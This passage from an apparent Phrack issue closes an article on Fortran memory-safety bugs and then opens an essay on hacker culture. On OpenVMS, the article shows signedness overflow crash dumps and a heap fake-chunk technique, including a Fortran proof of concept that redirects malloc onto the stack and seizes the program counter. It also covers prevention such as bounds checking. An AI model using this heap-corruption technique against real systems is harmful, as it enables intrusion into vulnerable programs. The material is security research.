%SYSTEM‑F‑ACCVIO, access violation, reason mask=00,

virtual address=0000000000042000, PC=FFFFFFFF80C85234, PS=0000001B [...]

DBG> dump /hex %hex 40000:%hex 40100

41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0000000000040000 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0000000000040010 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0000000000040020 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0000000000040030 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0000000000040040 00000000 00000000 00000000 00000000 ................ 0000000000040050 00000000 00000000 00000000 00000000 ................ 0000000000040060 00000000 00000000 00000000 00000000 ................ 0000000000040070 00000000 00000000 00000000 00000000 ................ 0000000000040080 00000000 00000000 00000000 00000000 ................ 0000000000040090 00000000 00000000 00000000 00000000 ................ 00000000000400A0 00000000 00000000 00000000 00000000 ................ 00000000000400B0 00000000 00000000 00000000 00000000 ................ 00000000000400C0 00000000 00000000 00000000 00000000 ................ 00000000000400D0 00000000 00000000 00000000 00000000 ................ 00000000000400E0 00000000 00000000 00000000 00000000 ................ 00000000000400F0 00000000 .... 0000000000040100 ‑‑‑‑‑END SIGNED 2‑‑‑‑‑

Comparing the difference between both executions, it's easy to see that the overflow was effective as Guard0, Guard1, S and even length were overwritten. The crash occurs during the copy because of the guard page located at 0x42000 (the page is not mmaped). This case is probably not exploitable but is sufficient to prove the reality of signedness bugs on a VMS environnement.

Is such a situation likely to happen? Fortunately, yes. Indeed, HP is nice enough to make easy the use of the VMS API in every supported language. For example you will see countless examples in the official documentation explaining how to call VMS functions when programming in Fortran, VAX asm, C, etc. A bit of googling confirmes it.

‑‑‑[ 4.2 ‑ Playing with the heap

Like I said before, OpenVMS developers usually tend (even in Fortran) to use the VMS native RTL API which is far more granular than the classical C malloc/free functions [R13]. However, ALLOCATE() and DEALLOCATE() could be chosen for portability purpose which is why we focus on them in this study.

What will be shown below are the global algorithms behind malloc/free and ALLOCATE/DEALLOCATE as they are almost the same (if not exactly the same). More generally, it is believed that this result could easily be transposed to the VMS kernel heap [R14] though the adaptation itself is left as an exercise for the reader.

Understanding the VMS malloc/free API

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Unallocated memory is grouped into "bins" of (almost) similar sizes, implemented by using a single‑linked list of chunks (with a pointer stored in the unallocated space inside the chunk) as illustrated below:

+‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑+ +‑‑‑‑‑‑

| Bin X |‑‑‑‑>| Chunk |‑‑‑‑>| 0x0 |

+‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑+ +‑‑‑‑‑‑

| ... |

+‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑+ +‑‑‑‑‑‑

| Bin Y |‑‑‑‑>| Chunk |‑‑‑‑>| Chunk |‑‑‑‑>| Chunk |‑‑‑‑>| 0x0 |

+‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑+ +‑‑‑‑‑‑

| ... |

+‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑+

| Bin Z |‑‑‑‑>| 0x0 |

+‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑+

In this particular case, at least 4 free() have already been performed. Now let's have a look at the chunk 'returned' by malloc():

4 bytes

<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

<‑‑‑‑‑‑

1 byte

chunk ‑> +‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑

| SIZE |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| tag = 0xF00D | Bin_ID | 0x00 |

mem ‑> +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|

.

. DATA .

.

|

+ + + + + + + + + + + + + +

With :

*) SIZE: the size of the chunk in bytes. It may be rounded. *) 0xF00D: a tag which indicates that the chunk is allocated. *) Bin_ID: The ID of the Bin corresponding to the allocated SIZE. *) mem: the pointer returned by malloc() or ALLOCATE().

If the user performs a free() or a DEALLOCATE() on this chunk, a slight modification occurs:

4 bytes

<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

<‑‑‑‑‑‑

1 byte

chunk ‑> +‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑

| SIZE |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| tag = 0x7777 | Bin_ID | 0x00 |

mem ‑> +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| NEXT_MEM |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|

.

. free (uncleaned) space .

.

|

+ + + + + + + + + + + + + +

With:

*) SIZE and Bin_ID being unchanged.

*) 0x7777: a tag indicating that the chunk is not allocated anymore. *) NEXT_MEM: a pointer to the next chunk's mem of the same bin. It can be the NULL pointer if there is no more free chunks in the list.

Note: It may sound silly not to point to the next 'chunk' directly but that's how things are done friends.

The free() algorithm is somewhat basic and can essentially be described using the following pseudo code:

‑‑‑‑‑BEGIN free()‑‑‑‑‑

free(void *p):

CHUNK *c, *head;

c = chunk_from_mem(p);

c‑>tag = 0x7777;

head = get_head_from_chunk(c); [L1] c‑>NEXT_MEM = head‑>first; [L2]

head‑>first = c; [L3]

‑‑‑‑‑END free()‑‑‑‑‑

So in the end, a free() is 'almost' equivalent to an element insertion in a single list. In practice, the real allocator may well be a bit more complex as I didn't investigate the chunks splitting/fusion mechanisms (if any). Note that a free()ed chunk will become the first of the corresponding single chained list, something to keep in mind.

The malloc() function is pretty straightforward:

‑‑‑‑‑BEGIN malloc()‑‑‑‑‑

void *malloc(size_t s):

CHUNK *c, *head;

size_t s_new = ROUND(s);

head = get_head_from_size(s_new); [M1]

if(!head‑>first)

{

[...]

}

c = head‑>first; [M2]

c‑>tag = 0xF00D; [M3]

head‑>first = c‑>NEXT_MEM; [M4]

return (mem_from_chunk(c));

‑‑‑‑‑END malloc()‑‑‑‑‑

A malloc() is the removal of a chunk from the corresponding chained list. Note that the first chunk of the list will be the first to be removed. If the list is empty, a special treatment is performed but we don't care about that.

Taking advantage of the overflow

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Exploiting an heap overflow can be done using at least two techniques:

*) The (partial) overwrite of metadata stored on the heap. Depending on where and how much you can overflow, this might be interesting especially since function pointers could be stored there.

*) The fake chunk insertion. The idea is to make malloc returning an address pointing to a chosen area (like the stack). The normal use of the buffer will then lead to the control of the process.

Since the first technique is no news, let's see how to perform the second one. In order to do that, we'll play with following C code:

‑‑‑‑‑BEGIN HEAP VMS 1‑‑‑‑‑

// Allocation

int *p = malloc(100);

int *q = malloc(100);

memset(p, 0x41, 100);

memset(q, 0x42, 100);

free(q); [N1]

// heap overflow

memcpy(p, user_buff, user_size); [N2]

‑‑‑‑‑END HEAP VMS 1‑‑‑‑‑

In order to simplify things, we'll assume that there was no previous allocation in the same BIN. Let's visualize the heap layout:

Before [N1]Before [N2]After [N2]

[ 00000070 ] [ 00000070 ][ 00000070 ]

[ f00d3d00 ][ f00d3d00 ][ f00d3d00 ]

p ‑> [ 41414141 ][ 41414141 ][ 41414141 ]

[ 41414141 ][ 41414141 ][ 41414141 ]

[ 41414141 ][ 41414141 ][ 41414141 ]

[ 41414141 ][ 41414141 ][ 41414141 ]

[ ... ][ ... ][ ...

[ 00000070 ][ 00000070 ][ 55555555 ]

[ f00d3d00 ][ 77773d00 ] user ‑>[ 55555555 ]

q ‑> [ 42424242 ][ 00000000 ] supplied [ 00000000 ] [ 42424242 ][ 42424242 ] pointer[ 42424242 ]

Now regarding the associated linked list, we have the following evolution:

+‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑‑‑‑‑+

1. | Bin 0x3d |‑‑‑‑>| 0x00000000 |

+‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑‑‑‑‑+

+‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑‑‑‑‑+

2. | Bin 0x3d |‑‑‑‑>| q |‑‑‑‑>| 0x00000000 |

+‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑‑‑‑‑+

+‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑‑‑‑‑+

3. | Bin 0x3d |‑‑‑‑>| q |‑‑‑‑>| 0x55555555 |

+‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑‑‑‑‑+

As a result, the linked list of our bin is corrupted and q‑>NEXT_MEM is user supplied. To prove that fact, we can dereference q‑>NEXT_MEM as it will lead to a program crash. This is possible thanks to [M4] if two malloc(100) are performed after the corruption:

‑‑‑‑‑BEGIN HEAP VMS 2‑‑‑‑‑

VMS $ r POC

[...]

0000447d0: 41414141 41414141 41414141 41414141

0000447e0: 41414141 41414141 41414141 41414141

0000447f0: 41414141 41414141 41414141 41414141

000044800: 41414141 55555555 55555555 f00d5555 [O1] 000044810: 55555555 42424242 42424242 42424242

000044820: 42424242 42424242 42424242 42424242

000044830: 42424242 42424242 42424242 42424242

000044840: 42424242 42424242 42424242 42424242

[...]

%SYSTEM‑F‑ACCVIO, access violation, [...] virtual address=0000000055555555 %TRACE‑F‑TRACEBACK, symbolic stack dump follows

image module routine line rel PC abs PC

LIBRTL 0 000000000000610C FFFFFFFF80C2E10C

LIBRTL

DECC$SHR_EV56 0 0000000000052710 FFFFFFFF80DDE710

DECC$SHR_EV56

POC POC main 4210 00000000000003BC 00000000000203BC POC POC __main 4128 000000000000006C 000000000002006C ‑‑‑‑‑END HEAP VMS 2‑‑‑‑‑

It's interesting to see that _fortunately_ size doesn't matter ;). Indeed free() is not 'really' looking at what's written in the corrupted chunk's header [O1] (size, allocation tag, ...). Great for us it makes things even easier.

However something really important is that the corruption would seemingly not have been possible if q was allocated as:

*) if q was allocated then it wouldn't be part of the list. *) and if q was free()ed _after_ the corruption then q‑>NEXT_MEM would naturally be overwritten by free().

There might be a way to trick the allocator so that an arbitrary free() is performed but I couldn't find any way to do that probably because my knowledge of the allocator algorithm is rather limited.

At that point, we've almost won as we successfully inserted a fake chunk in the linked list. As a result, writing will be performed at a user supplied address. However depending on the context, we may or may not be able to sufficiently control _what_ will be written:

*) If we cannot control the payload then a F00D delivery is still possible thanks to [M3]. If we can make the program perform the two necessary allocations, then the program will write 0xF00D at 'addr' if NEXT_MEM is overwritten with 'addr+2'. If you plan to exploit the least significant bits of a pointer then you can probably improve the technique with an F0 overwrite if the data located immediately before can be partially corrupted.

Note: Starving hackers would probably have thought of turning F00D into 0D but remember that Alpha is big endian.

*) If we can control the payload, then the best way is probably to overwrite the PC address saved on the stack (there is no ASLR folks). Back on our feets [R9]:

‑‑‑‑‑BEGIN HEAP VMS 3‑‑‑‑‑

VMS $ type poc.F90

PROGRAM POC

INTEGER(4), POINTER :: P(:)

INTEGER(4), POINTER :: Q(:)

INTEGER(4), POINTER :: M(:)

INTEGER(4), POINTER :: P2(:)

INTEGER(4) :: I

ALLOCATE(P(100))

ALLOCATE(Q(100))

! Debugging purpose

P = 'AAAA'

Q = 'BBBB'

write(*,fmt='(A,Z10)') ' P=',%LOC(P) write(*,fmt='(A,Z10)') ' Q=',%LOC(Q)

P2 => P

DEALLOCATE(Q)

! Fake heap overflow

P2(101) = Z'55555555'

P2(102) = Z'55555555'

P2(103) = Z'55555555'

P2(104) = Z'55555555'

P2(105) = Z'7AE3D910' + 100 ! fixed to work ;)

write(*,*) "******** AFTER CORRUPTION ************" ALLOCATE(M(100))

write(*,*) "******** AFTER MALLOC 1 ************"

ALLOCATE(M(100))

write(*,fmt='(A,Z10)') ' FAKE CHUNK AT ',%LOC(M) ! Simulating a user supplied payload

DO I=1,80

M(I) = Z'44444444'

END DO

END PROGRAM

VMS $ FORT poc

VMS $ LIN poc

VMS $ r poc

P= 52008

Q= 521A8

******** AFTER CORRUPTION ************

******** AFTER MALLOC 1 ************

FAKE CHUNK AT 7AE3D974

%SYSTEM‑F‑ACCVIO, [...] PC=4444444444444444, PS=0000001B %TRACE‑F‑TRACEBACK, symbolic stack dump follows

image module routine line rel PC abs PC

0 4444444444444444 4444444444444444

‑‑‑‑‑END HEAP VMS 3‑‑‑‑‑

Note: The stack address is hardcoded but this is not a big issue as there is no ASLR :).

One step further

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

OK a few more things and we're done with OpenVMS (anyway at that point you're probably either sleeping already or reading a much more interesting article of this issue ;)).

1) I came across this funny thing while reading HP's documentation [R11]:

‑‑‑

Chap 5.9.5 2‑GB malloc No Longer Fails Silently

The C RTL malloc function accepts an unsigned int (size_t) as its parameter. The LIB$VM_MALLOC action accepts a (positive) signed integer as its parameter. Allocating 2 GB (0x80000000) did not allocate the proper amount of memory and did not return an error indication. A check is now added to the malloc, calloc, and realloc functions for sizes equal to or greater than 2 GB that fail the call.

‑‑

WOWOWOWO jackpot :) Who said this _could_ have security consequences? ;>

2) I investigated the ALLOCATE(size) issue under OpenVMS Alpha 8.3 and the result is that if size <= 0 and size >= ‑0x80000000 then the address 0x100 is returned (if size < ‑0x80000000 an input conversion occurs (%FOR‑F‑INPCONERR)).

Since the 0x100 address is not mmaped, the only way to exploit this situation would be to dereference the pointer using a sufficiently great index to access user controlled data. While this is theoretically feasible since memory regions are mmaped at low addresses, a practical case has yet to be found.

‑‑

‑‑‑[ 7 ‑ Prevention: lets use a condom

Now is the time to think about how to avoid security troubles with Fortran programs. In order to do that, several things (more or less effective) can be done:

*) A careful review of the source code. Believe me, it's not that easy. To properly perform that, you have to know the language deeply and being well aware of its weaknesses. Depending on your level of mastery, bugs may still be left as Fortran really is a vicious language. Mastering this paper for example is probably far from being enough.

*) The study of your Fortran compiler. Try to find what kind of bugs are likely to be found/exploited with your compiler. A good starting point is probably to have a look at the "Compiler Diagnostic Test Sets" project [R17]. Not only will you find accurate information about several compilers but you will also find new kind of bugs (though not always security related) as well as a precious test set.

*) Read the manpage of your compiler to see if compile/runtime extra security checks could be performed. Let me show you an example. Remember that in Chap 3.1 I gave the following example:

‑‑‑‑‑BEGIN OVERFLOW 1‑‑‑‑‑

$ cat overflow1.f90

PROGRAM test

CHARACTER(len=30) :: S ! String of length 30

INTEGER(4) I

S = 'Hello Phrack readers!'

read(*,*) I

S(I:I) = '.'

write(*,*) S

END PROGRAM

$ gfortran overflow1.f90

$ ./a.out

He.lo Phrack readers! <‑‑ S was modified with 0x2E

$ gdb ./a.out

[...]

(gdb) r

Starting program: a.out

50 <‑‑ 50 is clearly out of scope! (>30)

Breakpoint 1, 0x080487be in MAIN__ ()

(gdb) print /d $eax

$1 = 50

(gdb) c

Hello Phrack readers!

Program received signal SIGSEGV, Segmentation fault. 0x2e04885b in ?? () <‑‑ EIP was corrupted with 0x2E ‑‑‑‑‑END OVERFLOW 1‑‑‑‑‑

Now let's see what happens when the '‑fbounds‑check' option is used:

‑‑‑‑‑BEGIN OVERFLOW 2‑‑‑‑‑

$ gfortran overflow1.f90 ‑fbounds‑check

$ ./a.out

[Type 50]

At line 7 of file overflow1.f90

Fortran runtime error: Substring out of bounds: upper bound (50) of 's' exceeds string length (30)

$ ./a.out

[Type ‑1]

At line 7 of file overflow1.f90

Fortran runtime error: Substring out of bounds: lower bound (‑1) of 's' is less than one

‑‑‑‑‑END OVERFLOW 2‑‑‑‑‑

As expected, the program now includes runtime checks. Depending on the bug class, the compiler may have a specific option to prevent or detect it. RTFM.

*) Static analysis. Well to be honest I didn't investigate it at all. While digging for this article, I came across a couple of opensource projects as well as commercial implementations (sorry NO ADVERTISING in PHRACK dudes).

While I didn't test any of them, I can imagine that there may effective ones as some kind of bugs would really be easy to spot using for example type checking (first thing that comes to my mind). Anyway it's just mere speculation. Either test it or forget it. Like we care anyway.

Sometimes a condom is not enough. The best for you is probably not to use this insanely fucked language. Once again, who cares about Fortran anyway?

[ http://www.fortranstatement.com/cgi‑bin/petition.pl ]

‑‑

‑‑‑[ 8 ‑ The final words

There would have been a lot more to add (studying other compilers/arch) but unfortunately time is running out and I would rather not make the paper more boring than it currently is ;) Anyway as far as I can tell, the essential is covered and with that in mind and a bit of practice, I expect you to be able to quickly find new bugs.

Hackers dealing with/busting/exploiting bugs in Fortran programs are so rare in our World that I bet that none of you had ever heard a word about Fortran's security issues. Nowadays people are more focused on languages such as PHP, Java or .NET which is normal for obvious reasons. Now it doesn't mean that other languages are not interesting too and you never know when appropriate knowledge becomes handy. History proved that bugs not always occurred in the 'daily' hacking playground (C/PHP, Unix/Windows) [R19] so why would we restrain ourselves?

Not convinced? OK allow me to alter the smart thoughts of a fellow p67 writer: "We hack Fortran just because we can. We don't really need a reason anyway as soon as bugs are there, we are there."

‑‑

‑‑‑[ 8 ‑ Greetz

My first thoughts are for all talented hackers with whom I had so much to share all these years. May you guys never lose that spirit of yours nor your ethics [R15]. Special thanks to the Phrack staff for their help, advise and review.

Now and because alone life would have no meaning, special thanks to my friends not only for being there but also for being able to support me especially when I'm *cranky* as hell :')

Special apologize to the great guys of the FHC (Fortran High Council). Just for once I wanted to be as cool as king‑fag‑c0pe though it probably means that it's a matter of days before witnessing the bust of all cool Fortran 0dayZ on FD :((( Don't be afraid sysadmins, thanx to gg security folks everything will be done in a 'responsible' way [R16] ;>

Also thanks to all of you who will nominate this paper at the 2011 pwnies award as the "most innovative research paper" ;>

‑‑

‑‑‑[ 9 ‑ Bibliography

[R1] http://onepiece.wikia.com/wiki/Buggy

[R2] Fortran90, ISO/IEC 1539

[R3] http://gcc.gnu.org/onlinedocs/gfortran/

[R4] HP Fortran for OpenVMS ‑ Language Reference Manual, HP [R5] Shifting the Stack Pointer, andrewg, Phrack #63

[R6] Basic Integer Overflows, Blexim, Phrack #60

[R7] http://www.cs.rpi.edu/~szymansk/OOF90/bugs.html

[R8] http://h71000.www7.hp.com/success‑stories.html

[R9] Hacking OpenVMS, C. Nyberg, C. Oberg & J. Tusini, Defcon16 [R10] http://www.cisl.ucar.edu/tcg/consweb/Fortran90/scnpoint.html

[R11] HP OpenVMS Version 8.3 Release Notes, HP

[R12] Alpha Assembly Language Guide, R.Bryant, Carnegie Mellon University [R13] http://labs.hoffmanlabs.com/node/401

[R14] OpenVMS Alpha Internals and Data Structures: Memory Management, HP [R15] Industry check, ZF0 #5

[R16] http://googleonlinesecurity.blogspot.com/2010/07/rebooting‑

responsible‑disclosure‑focus.html (lol)

[R17] http://ftp.cac.psu.edu/pub/ger/fortran/test/results.txt

[R18] http://www.fortranstatement.com

[R19] http://www5.in.tum.de/persons/huckle//horrorn.pdf

[R20] http://deathrow.vistech.net

‑‑

That is the saving of humor, if you fall no one is laughing at you.

A. Whitney Brown

Phrackerz

==Phrack Inc.==

Volume 0x0e, Issue 0x43, Phile #0x0c of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ P H R A C K E R Z: Two Tales ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Antipeace and The Analog Kid ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=| |=‑‑‑‑‑‑‑‑‑‑‑=[ antipeace@phrack.org / analog_kid@phrack.org ]=‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This is a tale of two hackers. Two souls lost in this world of bits. One tells a first hand tale of a hackers life. Another, gone mad from analyzing too many ltrace outputs, looks at the existence of Phrack Inc. from the outside.

One wanted to be a hacker from childhood. The other had plans of being a rock star. None the less, here in this strange network of fibers, their paths collide and their stories are fused together.

Who owns an idea when it is anonymous? Who is the arbiter of ethics, the individual hacker or the mass media? What good is a secret that cannot be shared? What defines an author if the author is anonymous?

These are two stories from both hackers, fused together, as they struggle to answer such questions. It is a collage of segments from the two tales.

~~~

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑=[ When I was a child I wanted to be one of them ]=‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ by Antipeace ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ Contents

1 ‑ Who the hell is it written for?

2 ‑ Who they think we are

3 ‑ We are not _so_ special

4 ‑ The downside of a hacking life

5 ‑ So in the end...

‑‑]

~~~

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ The tale of the phrack boys ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ by The Analog Kid ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ Contents

1 ‑ A witch hunt begins

2 ‑ What do people think they are?

3 ‑ Are they so special?

4 ‑ Why they must lurk in the shadows of publicity

5 ‑ Of the indictment and the witch hunt

6 ‑ A closing note

7 ‑ Acknowledgments

8 ‑ References

‑‑]

~~~

‑‑( A witch hunt begins )‑by The Analog Kid

"Neither have been charged ... they expect to at least be called as witnesses at the case of the Phrack Boys [1]

April 0x5, 1990, 6:50 AM: On that day a hacker is born into this world.

March 0x1, 1990, 6:30 AM: Secret service agents charge into the room of Phrack Inc contributor, The Mentor. Their guns are drawn and pointed at his head.

March 0x1, 1990, 11:00 AM: Secret service agents complete their search and seizure of The Mentor's property. Agents prepare to raid the Mentor's work office [1].

April 0x5, 1990, 12:00 PM: The wheels are spinning busily at Phrack Inc. With key members under investigation by the federal government, rumors are rampant of the journal's demise. Remaining members of the underground bustle to assemble a new issue and quell the rumors. "Phrack will and can't ever die, the journal proclaims [2].

~~~

‑‑( Who the hell is it written for? )‑‑

by Antipeace

If I had to make a choice, I would say that the hacking papers which impressed me the most were the unusual ones and by "unusual" I mean dealing with subjects such as esotericism, philosophy, and ethics. Yes the kind of things that would bore you to death. It's not that I systematically prefer intellectual masturbation over coding but let's face the pathetic truth: though there are exceptions, good technical papers are rarer and rarer and information is shamelessly duplicated everywhere.

Interestingly enough, papers written on a thinking or life experience basis are on a whole other scale. Being based on personal experience, they are intrinsically unique. There is no better example than the excellent article written by TAp in this issue. Believe me it kicks ass; you'll feel it deep down.

Writing these kind of things is usually done with the hope that a message will be transmitted. I personally chose to write mine for the people who have no clue of what a hacker's true life really is. That may include kids willing to learn about our culture as well as those of you who just came across these words.

If you ever thought that being a hacker was as cool as what's pictured in the movies, then please don't stop reading. This paper, is just a set of personal thoughts regarding the (unfinished) life of one (or more ?) hackers amongst thousands. Neither the best nor the worst. Just one of them.

~~~

‑‑( What do people think they are? )‑by The Analog Kid

Phrack Inc., an online journal created by the hacker community, represents the contemporary hacker community. Its articles are still well respected within academia and it is likely that some of its content draws from the academy. Although Phrack Inc. may seem devious to mainstream society on the surface, it serves a deeper purpose as a medium to freely distribute substantive technical information between an underground community of computer programmers. Functionally, Phrack Inc. is an outlet for the free discussion of software exploitation.

During my freshman year of college I stumbled upon a Phrack Inc. article from time to time, but never realized the site's importance until my sophomore year. I was enrolled in a graduate class and the professor used the web site as a reference in class one day. When discussing the use of the web‑site with him after class, the professor was immediately intrigued that I was familiar with the site. He told me that, in his opinion, the contributors of Phrack Inc. were just as intelligent as those in academia, and that sometimes it was good to have publications that were more direct and less formal than their academic counterparts. In addition, an in depth knowledge of computer software and hardware is required, with references to assembly code, operating systems, glibc, gdb, and the dynamic linker strewn throughout the articles. The site is also respected by security professionals within the IT community, who use it as a tool to track the latest hacking methods [3].

Phrack, as a publication, creates an outlet for these hackers to express themselves and reveal their values to the public.

~~~

‑‑( Who they think we are )‑‑

by Antipeace

The way we humans are generally perceived is really important to most of us as there is always an implicit resulting judgment. With the notable exception of psychos, most of us are probably willing to be seen as we 'truly' are, or in other words as we 'believe' ourselves to be, and not as we seem to be. As being hackers is part of our identity, it's only natural to feel concerned about how this secret part of our personality is seen by society.

This brings the question of how hackers are perceived by people in general. Though there are notable exceptions, people usually see us as movies/books and magazines/TV shows describe us.

Various fictional hackers are pictured in cyberpunk science fiction ('Matrix'), action movies ('Live Free or Die Hard'), caper films ('Sneakers') and more generally in many fictional stories. However compared to them, we average hackers from the real world are forced to admit that we're not that great:

‑ we do not hack into satellites on a daily basis

‑ we do not own OpenGL maps of buildings allowing us to control lights, elevators and doors at will

‑ at some point encryption, passwords and firewalls may be troublesome even for us ;)

Of course weak minds may be abused in the process and assume as a result that hackers are, at some point, what a typical Bruce Willis movie is showing them: wizards. Should we feel angry about it? Certainly not because this is fiction and everything is allowed. Now things are different when it comes to media.

Who ever criticized the journalists? Not me, nor you, with high probability. Almost everybody was or will be the witness of a false claim (or of an obvious speculation) from a journalist in his lifetime. The problem is that taking into account the almost unlimited number of profiles in the audience, that's itself a hint pointing out that mistakes are frequent. What is obviously not correct for you may appear correct for me, and vice versa.

Now what's interesting is that it gives us an idea about how fucked up a media outlet (newspaper, web site, TV show) may be regarding a particular area (such as security but not only).

I believe there are two cases to consider:

‑ Technical publications and/or computer literate media ‑ Mass media aimed at the general public

Regarding the first case, my personal belief is that this is two sided. Either the provided information is good or it's total bullshit. People who care are doing quality and not useless shit. From this point of view, popularization is the worst kind of information. Under the pretext of simplifying things for people, every kind of approximation appears to be allowed. Of course, publication being associated with sales and/or ratings, if something can be exaggerated to impress even more, why not? Why would journalists try to understand and care about their subject? After all the target is a mass audience. So if 2 or 3 people were mad, who would give a shit about it?

I've hated journalists for a long time for what I thought to be their incompetence. I later learned about the dramatic conditions they're living in: precarious employment and the necessity to write ever more for a low salary. Journalism changed and now I hate journalists for their lack of professionalism. You may argue that one needs to live but I would answer back that nothing justifies intellectual prostitution. If a person is clever enough to have that kind of job, other jobs should be possible as well.

Now coming back to us, how could we be correctly understood / represented in these conditions? Sadly, bad journalism is often mass journalism which makes things even worse as people (including around you) will always be influenced. Trying to change their way to see things is already a lost cause. As a hacker you will have to learn to live with bullshit all around you. It may be tough but the only important thing is to have independent self‑esteem, not relying on the judgement of others. A good psychologist would even tell you that it's necessary for personal construction...

~~~

‑‑( Are they so special? )‑by The Analog Kid

Why then are these hackers cast in such an antagonistic light by the media, if the contributors to journals such as Phrack are mainly thinkers? Given that Phrack's content is as substantial and intellectual as an academic journal, why is its community cast in such an antagonistic light?

Morally, Phrack Inc. is in a gray area. The site itself does not engage in or promote illegal activity, however the information on Phrack Inc. is published in a very open way; Phrack Inc. does not assume responsibility for what the criminal underground may do with their information. More formal research communities would consider it moral etiquette to have security holes fixed before publishing them. Phrack Inc.'s tendency to publish information with no forewarning is a testament to the group's valuation of free information and an uncontrollable side effect of its association with the hacking underground.

Most Phrack releases have a GPG key included with the introduction [4]. This is not a feature commonly seen in academic or professional articles. Functionally there is an important reason to have an encryption key, it allows the articles to be submitted securely (if the e‑mail is intercepted the contents could not be read), preserving the identity of the author. This highlights the controversial nature of what is discussed in the hacker community, as well as the members' valuation of anonymity. By remaining anonymous they feel able to safely continue the free flow of information, which is the ultimate goal of Phrack Inc.

The free flow of information at Phrack allows one to learn a‑lot about the hackers who submit articles to it. Their values, their personality, and their intellectual curiosity is spread all throughout the articles.

~~~

‑‑( We are not _so_ special )‑‑

by Antipeace

Having earlier outlined my disagreement with the common beliefs, now is the time to share my own vision. IMHO no one is born designated to become a "hacker" some day. I don't know if there are predispositions (maybe our insane curiosity or the urge to understand things?) but I would say that being a hacker is essentially about acquiring a hacking mindset.

Now that being said, let's see what a hacker truly is.

Intellect

‑‑‑‑‑‑‑‑‑

Though movies and medias sometimes describe hackers as genius (see "Hackers" with the cute Angelina Jolie for example ;) who for some reason are shown proficient with computers, reality is a bit different.

